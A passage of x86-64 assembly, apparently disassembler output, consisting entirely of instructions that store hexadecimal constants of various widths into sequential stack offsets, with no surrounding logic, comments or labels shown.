mov word [rsp + 0x1b04], ax
movabs rax, 0x75d1122210792a
mov qword [rsp + 0xc398], rax
mov eax, 0x7ed
mov word [rsp + 0x1b08], ax
mov dword [rsp + 0x5ed4], 0xa354
mov eax, 0xf44
mov word [rsp + 0x1b0c], ax
movabs rax, 0x7dfeb6284d5a80
mov qword [rsp + 0xc3a0], rax
mov byte [rsp + 0x33b], 0x23
mov byte [rsp + 0x33c], 0x55
mov byte [rsp + 0x33d], 0xc8
mov eax, 0xab
mov word [rsp + 0x1b10], ax
mov eax, 0x501
mov word [rsp + 0x1b14], ax
mov dword [rsp + 0x5ed8], 0x6541
mov eax, 0x2b
mov word [rsp + 0x1b18], ax
movabs rax, 0x7b13e1a1bcee0e
mov qword [rsp + 0xc3a8], rax
mov eax, 0x2d9
mov word [rsp + 0x1b1c], ax
mov dword [rsp + 0x5edc], 0x6d47
mov eax, 0x4cc
mov word [rsp + 0x1b20], ax
mov byte [rsp + 0x33e], 0x66
mov byte [rsp + 0x33f], 0x5b
movabs rax, 0x75c9cc15a23d42
mov qword [rsp + 0xc3b0], rax
movabs rax, 0x7eaa45659a7675
mov qword [rsp + 0xc3b8], rax
mov dword [rsp + 0x5ee0], 0x5b6a
mov eax, 0x364
mov word [rsp + 0x1b24], ax
mov byte [rsp + 0x340], 0x3a
movabs rax, 0x7819c989cedecb
mov qword [rsp + 0xc3c0], rax
mov eax, 0x2db
mov word [rsp + 0x1b28], ax
mov dword [rsp + 0x5ee4], 0x2476
mov byte [rsp + 0x341], 0x29
movabs rax, 0x79a3f17ff27235
mov qword [rsp + 0xc3c8], rax
movabs rax, 0x7682f63db6ce52
mov qword [rsp + 0xc3d0], rax
movabs rax, 0x77becb0f8041b8
mov qword [rsp + 0xc3d8], rax
mov dword [rsp + 0x5ee8], 0x292e
mov eax, 0xe64
mov word [rsp + 0x1b2c], ax
mov eax, 0x23e
mov word [rsp + 0x1b30], ax
mov eax, 0x774
mov word [rsp + 0x1b34], ax
mov eax, 0xca9
mov word [rsp + 0x1b38], ax
mov dword [rsp + 0x5eec], 0xda60
mov eax, 0x1b
mov word [rsp + 0x1b3c], ax
mov dword [rsp + 0x5ef0], 0x1147
mov dword [rsp + 0x5ef4], 0xd44
mov eax, 0x176
mov word [rsp + 0x1b40], ax
movabs rax, 0x71a81e45056ab3
mov qword [rsp + 0xc3e0], rax
mov byte [rsp + 0x342], 0x4b
mov dword [rsp + 0x5ef8], 0x2145
mov byte [rsp + 0x343], 0x30
mov byte [rsp + 0x344], 0x6b
mov eax, 0x24c
mov word [rsp + 0x1b44], ax
mov dword [rsp + 0x5efc], 0x67b8
movabs rax, 0x79b1f63516d1b6
mov qword [rsp + 0xc3e8], rax
movabs rax, 0x7742ad4962959d
mov qword [rsp + 0xc3f0], rax
movabs rax, 0x7a9f71355ddab6
mov qword [rsp + 0xc3f8], rax
movabs rax, 0x743614298d590a
mov qword [rsp + 0xc400], rax
movabs rax, 0x7c924e6670b48a
mov qword [rsp + 0xc408], rax
mov byte [rsp + 0x345], 0xf5
movabs rax, 0x76a196df71d109
mov qword [rsp + 0xc410], rax
mov dword [rsp + 0x5f00], 0x363b
mov eax, 0x91c
mov word [rsp + 0x1b48], ax
mov eax, 0x320
mov word [rsp + 0x1b4c], ax
movabs rax, 0x7cbdc73677ccc6
mov qword [rsp + 0xc418], rax
mov byte [rsp + 0x346], 9
mov byte [rsp + 0x347], 0xc0
mov eax, 0x507
mov word [rsp + 0x1b50], ax
movabs rax, 0x75c598c603f5ed
mov qword [rsp + 0xc420], rax
mov byte [rsp + 0x348], 0x64
mov dword [rsp + 0x5f04], 0x8486
mov dword [rsp + 0x5f08], 0x9632
mov eax, 0x156
mov word [rsp + 0x1b54], ax
mov eax, 0xc9
mov word [rsp + 0x1b58], ax
mov dword [rsp + 0x5f0c], 0x7d75
mov eax, 0x718
mov word [rsp + 0x1b5c], ax
mov byte [rsp + 0x349], 0xa6
mov dword [rsp + 0x5f10], 0x486e
movabs rax, 0x73da553b0c498e
mov qword [rsp + 0xc428], rax
mov dword [rsp + 0x5f14], 0x9d16
movabs rax, 0x7bef86e96ee0e6
mov qword [rsp + 0xc430], rax
mov eax, 0x6d8
mov word [rsp + 0x1b60], ax
mov eax, 0x8a8
mov word [rsp + 0x1b64], ax
mov byte [rsp + 0x34a], 0x50
mov dword [rsp + 0x5f18], 0x6746
mov dword [rsp + 0x5f1c], 0x6a5c
mov eax, 0xe6f
mov word [rsp + 0x1b68], ax
mov byte [rsp + 0x34b], 0x5f
mov dword [rsp + 0x5f20], 0xc057
mov dword [rsp + 0x5f24], 0x2f40
mov dword [rsp + 0x5f28], 0x2fd8
mov dword [rsp + 0x5f2c], 0x2031
mov dword [rsp + 0x5f30], 0x3181
mov eax, 0x101
mov word [rsp + 0x1b6c], ax
mov eax, 0x848
mov word [rsp + 0x1b70], ax
mov byte [rsp + 0x34c], 9
mov byte [rsp + 0x34d], 0x3d
mov eax, 0xbd5
mov word [rsp + 0x1b74], ax
mov dword [rsp + 0x5f34], 0x744f
movabs rax, 0x77eb3a35275549
mov qword [rsp + 0xc438], rax
mov eax, 0xe22
mov word [rsp + 0x1b78], ax
mov eax, 0x584
mov word [rsp + 0x1b7c], ax
movabs rax, 0x7c0d26087ab5b1
mov qword [rsp + 0xc440], rax
mov dword [rsp + 0x5f38], 0x7c42
mov byte [rsp + 0x34e], 0x40
movabs rax, 0x7d08fdea12b329
mov qword [rsp + 0xc448], rax
mov eax, 0x10b
mov word [rsp + 0x1b80], ax
mov byte [rsp + 0x34f], 0x7b
mov byte [rsp + 0x350], 0xcd
movabs rax, 0x74714a06eba86c
mov qword [rsp + 0xc450], rax
movabs rax, 0x7ae1a36818ab81
mov qword [rsp + 0xc458], rax
mov byte [rsp + 0x351], 0x1c
mov dword [rsp + 0x5f3c], 0xc265
mov dword [rsp + 0x5f40], 0xe273
movabs rax, 0x7d221126795ba8
mov qword [rsp + 0xc460], rax
mov byte [rsp + 0x352], 0x39
mov eax, 0x8eb
mov word [rsp + 0x1b84], ax
mov byte [rsp + 0x353], 0xa3
movabs rax, 0x76c9488a6c9b6a
mov qword [rsp + 0xc468], rax
movabs rax, 0x7c8ed5ad978784
mov qword [rsp + 0xc470], rax
movabs rax, 0x7eae0f8d6d5c1d
mov qword [rsp + 0xc478], rax
mov dword [rsp + 0x5f44], 0x46b0
mov byte [rsp + 0x354], 0x5d
movabs rax, 0x7453c96b3ad6f7
mov qword [rsp + 0xc480], rax
mov eax, 0x569
mov word [rsp + 0x1b88], ax
mov eax, 0x19b
mov word [rsp + 0x1b8c], ax
movabs rax, 0x7a972c8da501d9
mov qword [rsp + 0xc488], rax
mov dword [rsp + 0x5f48], 0x2a32
mov byte [rsp + 0x355], 0x1d
movabs rax, 0x76eb5cc39803fd
mov qword [rsp + 0xc490], rax
mov eax, 0x321
mov word [rsp + 0x1b90], ax
mov eax, 0xb1
mov word [rsp + 0x1b94], ax
mov byte [rsp + 0x356], 0x5b
mov dword [rsp + 0x5f4c], 0x732e
mov byte [rsp + 0x357], 0x48
mov eax, 0x76f
mov word [rsp + 0x1b98], ax
movabs rax, 0x78bcc6ffc42bba
mov qword [rsp + 0xc498], rax
mov eax, 0x8ee
mov word [rsp + 0x1b9c], ax
mov dword [rsp + 0x5f50], 0xda97
mov byte [rsp + 0x358], 0x12
mov byte [rsp + 0x359], 0x45
movabs rax, 0x71151042423432
mov qword [rsp + 0xc4a0], rax
movabs rax, 0x717f8df565d4f8
mov qword [rsp + 0xc4a8], rax
movabs rax, 0x7621e708df1da7
mov qword [rsp + 0xc4b0], rax
movabs rax, 0x7c918e6215d60d
mov qword [rsp + 0xc4b8], rax
movabs rax, 0x7277366aa4eecd
mov qword [rsp + 0xc4c0], rax
movabs rax, 0x704365f4c41115
mov qword [rsp + 0xc4c8], rax
movabs rax, 0x7aac6c43f1444e
mov qword [rsp + 0xc4d0], rax
mov byte [rsp + 0x35a], 0x3a
mov byte [rsp + 0x35b], 0x62
movabs rax, 0x7dd480d7d5001f
mov qword [rsp + 0xc4d8], rax
mov eax, 0xfb2
mov word [rsp + 0x1ba0], ax
movabs rax, 0x7a041372e4325a
mov qword [rsp + 0xc4e0], rax
mov eax, 0x7af
mov word [rsp + 0x1ba4], ax
mov dword [rsp + 0x5f54], 0xdd5
mov dword [rsp + 0x5f58], 0x787e
movabs rax, 0x7ed305ba7df06d
mov qword [rsp + 0xc4e8], rax
movabs rax, 0x77b898fc5c4264
mov qword [rsp + 0xc4f0], rax
mov byte [rsp + 0x35c], 0x13
mov byte [rsp + 0x35d], 0x6c
mov eax, 0x60
mov word [rsp + 0x1ba8], ax
movabs rax, 0x726073b9810fba
mov qword [rsp + 0xc4f8], rax
mov eax, 0x653
mov word [rsp + 0x1bac], ax
mov byte [rsp + 0x35e], 0x75
movabs rax, 0x77265b9abf1e6b
mov qword [rsp + 0xc500], rax
movabs rax, 0x7e7bcaa6055649
mov qword [rsp + 0xc508], rax
movabs rax, 0x76ffbef6a29d60
mov qword [rsp + 0xc510], rax
mov byte [rsp + 0x35f], 0xfc
movabs rax, 0x7d38d9f69fe8b3
mov qword [rsp + 0xc518], rax
mov eax, 0x544
mov word [rsp + 0x1bb0], ax
mov dword [rsp + 0x5f5c], 0x717e
mov byte [rsp + 0x360], 0xfc
mov eax, 0x1f3
mov word [rsp + 0x1bb4], ax
mov dword [rsp + 0x5f60], 0x9329
movabs rax, 0x7b9115485bc379
mov qword [rsp + 0xc520], rax
mov dword [rsp + 0x5f64], 0x37ee
movabs rax, 0x72349369731787
mov qword [rsp + 0xc528], rax
movabs rax, 0x7acf4645800cc9
mov qword [rsp + 0xc530], rax
movabs rax, 0x7665c04126ea1f
mov qword [rsp + 0xc538], rax
mov eax, 0x436
mov word [rsp + 0x1bb8], ax
movabs rax, 0x77278c45351e3a
mov qword [rsp + 0xc540], rax
movabs rax, 0x736f3c412b9283
mov qword [rsp + 0xc548], rax
mov dword [rsp + 0x5f68], 0x56e6
mov dword [rsp + 0x5f6c], 0xa771
mov byte [rsp + 0x361], 0x18
mov eax, 0x54
mov word [rsp + 0x1bbc], ax
mov eax, 0xef
mov word [rsp + 0x1bc0], ax
movabs rax, 0x7a90e83ea9749b
mov qword [rsp + 0xc550], rax
movabs rax, 0x7aac6697d0179e
mov qword [rsp + 0xc558], rax
mov byte [rsp + 0x362], 0x1d
mov eax, 0x1b8
mov word [rsp + 0x1bc4], ax
mov dword [rsp + 0x5f70], 0xf5ef
mov eax, 0x782
mov word [rsp + 0x1bc8], ax
mov eax, 0x7c
mov word [rsp + 0x1bcc], ax
mov dword [rsp + 0x5f74], 0x2fa4
mov byte [rsp + 0x363], 0x71
movabs rax, 0x7958362a9a15b8
mov qword [rsp + 0xc560], rax
mov byte [rsp + 0x364], 0x1f
mov dword [rsp + 0x5f78], 0x195c
movabs rax, 0x7c556fb183da6c
mov qword [rsp + 0xc568], rax
mov dword [rsp + 0x5f7c], 0xd221
movabs rax, 0x7965dc7df73193
mov qword [rsp + 0xc570], rax
mov dword [rsp + 0x5f80], 0xac33
movabs rax, 0x7820cfc28b8b09
mov qword [rsp + 0xc578], rax
mov byte [rsp + 0x365], 0x4a
movabs rax, 0x7a875fa03836ae
mov qword [rsp + 0xc580], rax
mov eax, 0xfb9
mov word [rsp + 0x1bd0], ax
mov dword [rsp + 0x5f84], 0x4f1c
movabs rax, 0x73923e8b018d63
mov qword [rsp + 0xc588], rax
mov dword [rsp + 0x5f88], 0x57ee
movabs rax, 0x70295f2f85114d
mov qword [rsp + 0xc590], rax
movabs rax, 0x7965a891e34056
mov qword [rsp + 0xc598], rax
movabs rax, 0x78874dad4211c0
mov qword [rsp + 0xc5a0], rax
mov dword [rsp + 0x5f8c], 0xbbfd
mov dword [rsp + 0x5f90], 0x7a21
mov eax, 0x516
mov word [rsp + 0x1bd4], ax
mov byte [rsp + 0x366], 0x2d
movabs rax, 0x72e4ef14cc9afb
mov qword [rsp + 0xc5a8], rax
mov byte [rsp + 0x367], 0x6e
mov dword [rsp + 0x5f94], 0x5692
mov dword [rsp + 0x5f98], 0x5613
movabs rax, 0x7d344ad5661f22
mov qword [rsp + 0xc5b0], rax
movabs rax, 0x74a8db6408fb85
mov qword [rsp + 0xc5b8], rax
mov byte [rsp + 0x368], 0x64
movabs rax, 0x7eccb945e9f733
mov qword [rsp + 0xc5c0], rax
mov byte [rsp + 0x369], 0x58
mov byte [rsp + 0x36a], 0xa0
mov eax, 0x3a5
mov word [rsp + 0x1bd8], ax
movabs rax, 0x7d1a0aa6e9ab82
mov qword [rsp + 0xc5c8], rax
mov byte [rsp + 0x36b], 0xc9
movabs rax, 0x76f8baeb7ee0ee
mov qword [rsp + 0xc5d0], rax
mov byte [rsp + 0x36c], 0x7b
mov byte [rsp + 0x36d], 0x50
movabs rax, 0x7922122e7edd70
mov qword [rsp + 0xc5d8], rax
mov eax, 0x6c4
mov word [rsp + 0x1bdc], ax
movabs rax, 0x7b8b6fd82a04b9
mov qword [rsp + 0xc5e0], rax
movabs rax, 0x73398c34f2f1d0
mov qword [rsp + 0xc5e8], rax
mov eax, 0x812
mov word [rsp + 0x1be0], ax
movabs rax, 0x784a7879e396ee
mov qword [rsp + 0xc5f0], rax
movabs rax, 0x798b61f26cbeea
mov qword [rsp + 0xc5f8], rax
movabs rax, 0x726bd356e5abf7
mov qword [rsp + 0xc600], rax
movabs rax, 0x7c0b1c63c35ec4
mov qword [rsp + 0xc608], rax
mov dword [rsp + 0x5f9c], 0x7321
movabs rax, 0x75f05430328804
mov qword [rsp + 0xc610], rax
movabs rax, 0x7c90389de0b0f4
mov qword [rsp + 0xc618], rax
mov dword [rsp + 0x5fa0], 0x1eb9
mov dword [rsp + 0x5fa4], 0x81c7
movabs rax, 0x71b2e4d9f1f519
mov qword [rsp + 0xc620], rax
mov dword [rsp + 0x5fa8], 0x1efb
mov byte [rsp + 0x36e], 0xa6
mov dword [rsp + 0x5fac], 0x35f6
mov eax, 0x63f
mov word [rsp + 0x1be4], ax
movabs rax, 0x769e99ba5a3502
mov qword [rsp + 0xc628], rax
mov eax, 0xb7d
mov word [rsp + 0x1be8], ax
movabs rax, 0x7afdc28cc13e10
mov qword [rsp + 0xc630], rax
movabs rax, 0x7ccb5ea5f89728
mov qword [rsp + 0xc638], rax
mov eax, 0xf24
mov word [rsp + 0x1bec], ax
mov dword [rsp + 0x5fb0], 0x7bca
movabs rax, 0x79e32bf0d20777
mov qword [rsp + 0xc640], rax
movabs rax, 0x788448bea519bb
mov qword [rsp + 0xc648], rax
movabs rax, 0x7543e817ffa0fd
mov qword [rsp + 0xc650], rax
mov dword [rsp + 0x5fb4], 0x2b3f
mov byte [rsp + 0x36f], 0x12
movabs rax, 0x7af26bb052e4cb
mov qword [rsp + 0xc658], rax
mov eax, 0x1a
mov word [rsp + 0x1bf0], ax
mov byte [rsp + 0x370], 0x2e
movabs rax, 0x7a87ca2092b4f8
mov qword [rsp + 0xc660], rax
movabs rax, 0x7a63d90270dc06
mov qword [rsp + 0xc668], rax
mov dword [rsp + 0x5fb8], 0x18a5
mov byte [rsp + 0x371], 0xa1
mov dword [rsp + 0x5fbc], 0x2382
mov byte [rsp + 0x372], 0xfd
movabs rax, 0x70d7aed91a4d48
mov qword [rsp + 0xc670], rax
mov eax, 0x44f
mov word [rsp + 0x1bf4], ax
mov dword [rsp + 0x5fc0], 0x718f
movabs rax, 0x72a30a4c9ca0e4
mov qword [rsp + 0xc678], rax
mov eax, 0xb52
mov word [rsp + 0x1bf8], ax
mov dword [rsp + 0x5fc4], 0x19ab
mov dword [rsp + 0x5fc8], 0xa080
movabs rax, 0x7d7a834af97e65
mov qword [rsp + 0xc680], rax
mov dword [rsp + 0x5fcc], 0x5df2
mov eax, 0x4ab
mov word [rsp + 0x1bfc], ax
mov dword [rsp + 0x5fd0], 0x7b15
movabs rax, 0x724bbb395569fc
mov qword [rsp + 0xc688], rax
movabs rax, 0x77e2dc273bcf4d
mov qword [rsp + 0xc690], rax
mov dword [rsp + 0x5fd4], 0x7adf
mov dword [rsp + 0x5fd8], 0x35bb
mov byte [rsp + 0x373], 0x10
mov dword [rsp + 0x5fdc], 0xd5aa
movabs rax, 0x78f5b8b4e52a8e
mov qword [rsp + 0xc698], rax
mov byte [rsp + 0x374], 0x83
mov dword [rsp + 0x5fe0], 0xe46c
mov eax, 0x9b4
mov word [rsp + 0x1c00], ax
mov dword [rsp + 0x5fe4], 0x156c
movabs rax, 0x73a1c51918eb92
mov qword [rsp + 0xc6a0], rax
mov eax, 0xd1b
mov word [rsp + 0x1c04], ax
mov dword [rsp + 0x5fe8], 0xdcd
mov dword [rsp + 0x5fec], 0x5947
mov byte [rsp + 0x375], 0xc7
mov eax, 0x5e6
mov word [rsp + 0x1c08], ax
movabs rax, 0x790c6bedb25304
mov qword [rsp + 0xc6a8], rax
movabs rax, 0x7e6132bf8d7c56
mov qword [rsp + 0xc6b0], rax
mov dword [rsp + 0x5ff0], 0x7267
mov dword [rsp + 0x5ff4], 0x1f6d
movabs rax, 0x7a2e867f06c784
mov qword [rsp + 0xc6b8], rax
mov dword [rsp + 0x5ff8], 0x41f4
mov byte [rsp + 0x376], 0x48
mov dword [rsp + 0x5ffc], 0x52ea
movabs rax, 0x7ed1d635dedf99
mov qword [rsp + 0xc6c0], rax
mov dword [rsp + 0x6000], 0xc337
mov dword [rsp + 0x6004], 0xa4e4
movabs rax, 0x715d8d6ce8eead
mov qword [rsp + 0xc6c8], rax
mov byte [rsp + 0x377], 0xc7
mov dword [rsp + 0x6008], 0x7a75
mov dword [rsp + 0x600c], 0x84d5
mov eax, 0x6bb
mov word [rsp + 0x1c0c], ax
mov eax, 0x43f
mov word [rsp + 0x1c10], ax
movabs rax, 0x7e7926d2a50a9b
mov qword [rsp + 0xc6d0], rax
mov eax, 0x204
mov word [rsp + 0x1c14], ax
mov eax, 0x3f3
mov word [rsp + 0x1c18], ax
mov byte [rsp + 0x378], 0xd
mov eax, 0xe80
mov word [rsp + 0x1c1c], ax
mov dword [rsp + 0x6010], 0x1d0c
movabs rax, 0x7a01b30f305b82
mov qword [rsp + 0xc6d8], rax
movabs rax, 0x7d7ae8befcd4e6
mov qword [rsp + 0xc6e0], rax
mov eax, 0xd79
mov word [rsp + 0x1c20], ax
mov dword [rsp + 0x6014], 0xed4
mov eax, 0x51a
mov word [rsp + 0x1c24], ax
movabs rax, 0x7aef307ced90dc
mov qword [rsp + 0xc6e8], rax
mov byte [rsp + 0x379], 0x92
mov dword [rsp + 0x6018], 0xd2f
mov eax, 0xbe5
mov word [rsp + 0x1c28], ax
mov dword [rsp + 0x601c], 0x9ac6
movabs rax, 0x7d808148f914c4
mov qword [rsp + 0xc6f0], rax
movabs rax, 0x7b2201aba3da36
mov qword [rsp + 0xc6f8], rax
mov eax, 0x3c9
mov word [rsp + 0x1c2c], ax
mov eax, 0xa6
mov word [rsp + 0x1c30], ax
movabs rax, 0x768be633485ab1
mov qword [rsp + 0xc700], rax
mov dword [rsp + 0x6020], 0x7832
mov byte [rsp + 0x37a], 0x43
mov dword [rsp + 0x6024], 0xff3f
mov byte [rsp + 0x37b], 0x56
movabs rax, 0x70551bdc2f4756
mov qword [rsp + 0xc708], rax
mov eax, 0x2d2
mov word [rsp + 0x1c34], ax
mov dword [rsp + 0x6028], 0x2a60
movabs rax, 0x792001870f8b91
mov qword [rsp + 0xc710], rax
movabs rax, 0x7edb04ca0b6a5a
mov qword [rsp + 0xc718], rax
mov byte [rsp + 0x37c], 7
mov dword [rsp + 0x602c], 0x5ce6
mov byte [rsp + 0x37d], 0x9f
mov dword [rsp + 0x6030], 0xf51
mov byte [rsp + 0x37e], 0x66
mov dword [rsp + 0x6034], 0x4d3d
mov eax, 0x703
mov word [rsp + 0x1c38], ax
movabs rax, 0x79dbc781ff0cc9
mov qword [rsp + 0xc720], rax
mov dword [rsp + 0x6038], 0x345e
mov eax, 0x7a9
mov word [rsp + 0x1c3c], ax
movabs rax, 0x7723d425143550
mov qword [rsp + 0xc728], rax
mov eax, 0x2b6
mov word [rsp + 0x1c40], ax
movabs rax, 0x77f31b669e47d3
mov qword [rsp + 0xc730], rax
mov dword [rsp + 0x603c], 0x3d65
mov dword [rsp + 0x6040], 0x7ad6
mov dword [rsp + 0x6044], 0x6628
mov byte [rsp + 0x37f], 0xee
mov dword [rsp + 0x6048], 0x5659
mov dword [rsp + 0x604c], 0x7ca6
mov dword [rsp + 0x6050], 0x52f7
movabs rax, 0x76ea4df683bf5a
mov qword [rsp + 0xc738], rax
mov dword [rsp + 0x6054], 0x41ed
mov byte [rsp + 0x380], 0x28
mov eax, 0xa2
mov word [rsp + 0x1c44], ax
mov dword [rsp + 0x6058], 0xd247
movabs rax, 0x705b116c0a5ed0
mov qword [rsp + 0xc740], rax
mov dword [rsp + 0x605c], 0x3675
movabs rax, 0x77157a8f3c2a08
mov qword [rsp + 0xc748], rax
mov dword [rsp + 0x6060], 0x1404
mov byte [rsp + 0x381], 0x7c
mov eax, 0x76d
mov word [rsp + 0x1c48], ax
movabs rax, 0x706f96157b6304
mov qword [rsp + 0xc750], rax
movabs rax, 0x7ee6a1ef312002
mov qword [rsp + 0xc758], rax
mov byte [rsp + 0x382], 0xaa
movabs rax, 0x756e724695edb3
mov qword [rsp + 0xc760], rax
mov dword [rsp + 0x6064], 0x6add
mov dword [rsp + 0x6068], 0x1e30
mov eax, 0x158
mov word [rsp + 0x1c4c], ax
mov dword [rsp + 0x606c], 0x7a9f
movabs rax, 0x77c7fa2d74303f
mov qword [rsp + 0xc768], rax
mov eax, 0x208
mov word [rsp + 0x1c50], ax
mov dword [rsp + 0x6070], 0x839
mov dword [rsp + 0x6074], 0x45e2
mov byte [rsp + 0x383], 0x6f
mov eax, 0x976
mov word [rsp + 0x1c54], ax
mov eax, 0x443
mov word [rsp + 0x1c58], ax
mov byte [rsp + 0x384], 0xf9
movabs rax, 0x7139c16b1fae5c
mov qword [rsp + 0xc770], rax
movabs rax, 0x79582b857a7b8b
mov qword [rsp + 0xc778], rax
movabs rax, 0x717dbf87bfa692
mov qword [rsp + 0xc780], rax
mov dword [rsp + 0x6078], 0x22ff
mov eax, 0x4b4
mov word [rsp + 0x1c5c], ax
mov byte [rsp + 0x385], 0x46
mov dword [rsp + 0x607c], 0xa12a
mov byte [rsp + 0x386], 0x1a
mov eax, 0x9f5
mov word [rsp + 0x1c60], ax
movabs rax, 0x78b60bf46e0076
mov qword [rsp + 0xc788], rax
mov byte [rsp + 0x387], 0x74
movabs rax, 0x7ab0be79e9b6c6
mov qword [rsp + 0xc790], rax
mov eax, 0x40a
mov word [rsp + 0x1c64], ax
mov byte [rsp + 0x388], 0x38
mov dword [rsp + 0x6080], 0xc6b
mov dword [rsp + 0x6084], 0xc524
mov dword [rsp + 0x6088], 0x74c9
mov eax, 0xc6e
mov word [rsp + 0x1c68], ax
mov byte [rsp + 0x389], 0x13
mov byte [rsp + 0x38a], 0xc9
mov dword [rsp + 0x608c], 0xca71
mov dword [rsp + 0x6090], 0x3744
mov dword [rsp + 0x6094], 0x3614
movabs rax, 0x7da28af3af8821
mov qword [rsp + 0xc798], rax
mov byte [rsp + 0x38b], 0x96
mov dword [rsp + 0x6098], 0xb8d9
mov eax, 0x627
mov word [rsp + 0x1c6c], ax
mov eax, 0x2f3
mov word [rsp + 0x1c70], ax
movabs rax, 0x737f0dcc2e8cd0
mov qword [rsp + 0xc7a0], rax
mov eax, 0x61d
mov word [rsp + 0x1c74], ax
mov byte [rsp + 0x38c], 0x42
movabs rax, 0x74e9fddff340eb
mov qword [rsp + 0xc7a8], rax
movabs rax, 0x7ebeee203c96d0
mov qword [rsp + 0xc7b0], rax
mov dword [rsp + 0x609c], 0x505f
movabs rax, 0x72d3a1840ba20f
mov qword [rsp + 0xc7b8], rax
mov eax, 0x41b
mov word [rsp + 0x1c78], ax
mov eax, 0x7e0
mov word [rsp + 0x1c7c], ax
movabs rax, 0x725aaa381f4c6b
mov qword [rsp + 0xc7c0], rax
movabs rax, 0x73a26c871115a7
mov qword [rsp + 0xc7c8], rax
mov eax, 0xbeb
mov word [rsp + 0x1c80], ax
mov byte [rsp + 0x38d], 0x4e
mov dword [rsp + 0x60a0], 0x83b1
mov eax, 0x5a7
mov word [rsp + 0x1c84], ax
mov eax, 0x175
mov word [rsp + 0x1c88], ax
movabs rax, 0x7d66a8f84fef5b
mov qword [rsp + 0xc7d0], rax
mov byte [rsp + 0x38e], 0x65
mov byte [rsp + 0x38f], 0x7e
mov byte [rsp + 0x390], 0xbb
mov eax, 0x6c1
mov word [rsp + 0x1c8c], ax
mov byte [rsp + 0x391], 0x69
mov dword [rsp + 0x60a4], 0xcda
mov eax, 0x686
mov word [rsp + 0x1c90], ax
mov byte [rsp + 0x392], 0xa0
mov dword [rsp + 0x60a8], 0x1302
mov eax, 0x4d4
mov word [rsp + 0x1c94], ax
movabs rax, 0x7d596b90bf4685
mov qword [rsp + 0xc7d8], rax
mov byte [rsp + 0x393], 0x3c
movabs rax, 0x7d6f345ee0454a
mov qword [rsp + 0xc7e0], rax
mov eax, 0xb12
mov word [rsp + 0x1c98], ax
mov eax, 0x6eb
mov word [rsp + 0x1c9c], ax
movabs rax, 0x70bacd3a16d29c
mov qword [rsp + 0xc7e8], rax
mov eax, 0x6b6
mov word [rsp + 0x1ca0], ax
mov byte [rsp + 0x394], 0x6c
mov byte [rsp + 0x395], 0x64
mov dword [rsp + 0x60ac], 0x286c
movabs rax, 0x7a92cfad4e0db0
mov qword [rsp + 0xc7f0], rax
movabs rax, 0x75307d9d069070
mov qword [rsp + 0xc7f8], rax
mov byte [rsp + 0x396], 0x3a
mov eax, 0x2c
mov word [rsp + 0x1ca4], ax
mov byte [rsp + 0x397], 0x5f
mov byte [rsp + 0x398], 0xd0
mov dword [rsp + 0x60b0], 0xac9a
mov byte [rsp + 0x399], 9
movabs rax, 0x714c1ae7e339ce
mov qword [rsp + 0xc800], rax
mov byte [rsp + 0x39a], 9
mov eax, 0x373
mov word [rsp + 0x1ca8], ax
mov byte [rsp + 0x39b], 0x7e
movabs rax, 0x78e5ad3a666d34
mov qword [rsp + 0xc808], rax
mov eax, 0x54
mov word [rsp + 0x1cac], ax
mov dword [rsp + 0x60b4], 0x5c5b
mov byte [rsp + 0x39c], 0x44
movabs rax, 0x79a9b874178506
mov qword [rsp + 0xc810], rax
mov dword [rsp + 0x60b8], 0x605d
mov eax, 0x68c
mov word [rsp + 0x1cb0], ax
mov dword [rsp + 0x60bc], 0x1758
mov dword [rsp + 0x60c0], 0xc6f9
mov byte [rsp + 0x39d], 0x2d
mov dword [rsp + 0x60c4], 0x922
movabs rax, 0x78d3af9ef995da
mov qword [rsp + 0xc818], rax
mov dword [rsp + 0x60c8], 0x7126
movabs rax, 0x73d1a519f5550b
mov qword [rsp + 0xc820], rax
movabs rax, 0x70e2bf60ea8e80
mov qword [rsp + 0xc828], rax
mov dword [rsp + 0x60cc], 0x779
mov eax, 0xc6e
mov word [rsp + 0x1cb4], ax
mov byte [rsp + 0x39e], 0x2e
movabs rax, 0x71ff7f8387e453
mov qword [rsp + 0xc830], rax
mov eax, 0xa91
mov word [rsp + 0x1cb8], ax
movabs rax, 0x7120e39b2028c7
mov qword [rsp + 0xc838], rax
mov dword [rsp + 0x60d0], 0x4fb1
mov dword [rsp + 0x60d4], 0x1b4b
mov eax, 0xa95
mov word [rsp + 0x1cbc], ax
mov byte [rsp + 0x39f], 0x7f
mov dword [rsp + 0x60d8], 0x407d
mov dword [rsp + 0x60dc], 0x47c3
movabs rax, 0x79821b570d400f
mov qword [rsp + 0xc840], rax
mov byte [rsp + 0x3a0], 0xae
mov dword [rsp + 0x60e0], 0x7bfb
mov byte [rsp + 0x3a1], 0xc6
movabs rax, 0x762655844d2c20
mov qword [rsp + 0xc848], rax
mov byte [rsp + 0x3a2], 0x6c
mov eax, 0x5f8
mov word [rsp + 0x1cc0], ax
mov eax, 0x646
mov word [rsp + 0x1cc4], ax
mov eax, 0x5c3
mov word [rsp + 0x1cc8], ax
mov byte [rsp + 0x3a3], 0x69
mov eax, 0x7db
mov word [rsp + 0x1ccc], ax
mov byte [rsp + 0x3a4], 0x38
movabs rax, 0x78de749bcf8fde
mov qword [rsp + 0xc850], rax
mov eax, 0x157
mov word [rsp + 0x1cd0], ax
movabs rax, 0x751677c8f0f60e
mov qword [rsp + 0xc858], rax
movabs rax, 0x7a145a43a0c83d
mov qword [rsp + 0xc860], rax
movabs rax, 0x7571b22899c0af
mov qword [rsp + 0xc868], rax
mov dword [rsp + 0x60e4], 0x6a21
movabs rax, 0x70d9e5ce3d2446
mov qword [rsp + 0xc870], rax
movabs rax, 0x7da95fb500471f
mov qword [rsp + 0xc878], rax
mov eax, 0x6cf
mov word [rsp + 0x1cd4], ax
mov eax, 0xe2b
mov word [rsp + 0x1cd8], ax
mov dword [rsp + 0x60e8], 0x82e
mov byte [rsp + 0x3a5], 0xca
movabs rax, 0x7c7792a32e477a
mov qword [rsp + 0xc880], rax
mov dword [rsp + 0x60ec], 0xb07c
movabs rax, 0x76c43558f64296
mov qword [rsp + 0xc888], rax
mov byte [rsp + 0x3a6], 8
movabs rax, 0x7bf3c9abd70fd0
mov qword [rsp + 0xc890], rax
mov eax, 0x1a
mov word [rsp + 0x1cdc], ax
mov byte [rsp + 0x3a7], 0x9a
mov eax, 0xf05
mov word [rsp + 0x1ce0], ax
mov eax, 0x3d7
mov word [rsp + 0x1ce4], ax
movabs rax, 0x757c24f96fdf6b
mov qword [rsp + 0xc898], rax
mov dword [rsp + 0x60f0], 0x9132
movabs rax, 0x75ff0caa81452c
mov qword [rsp + 0xc8a0], rax
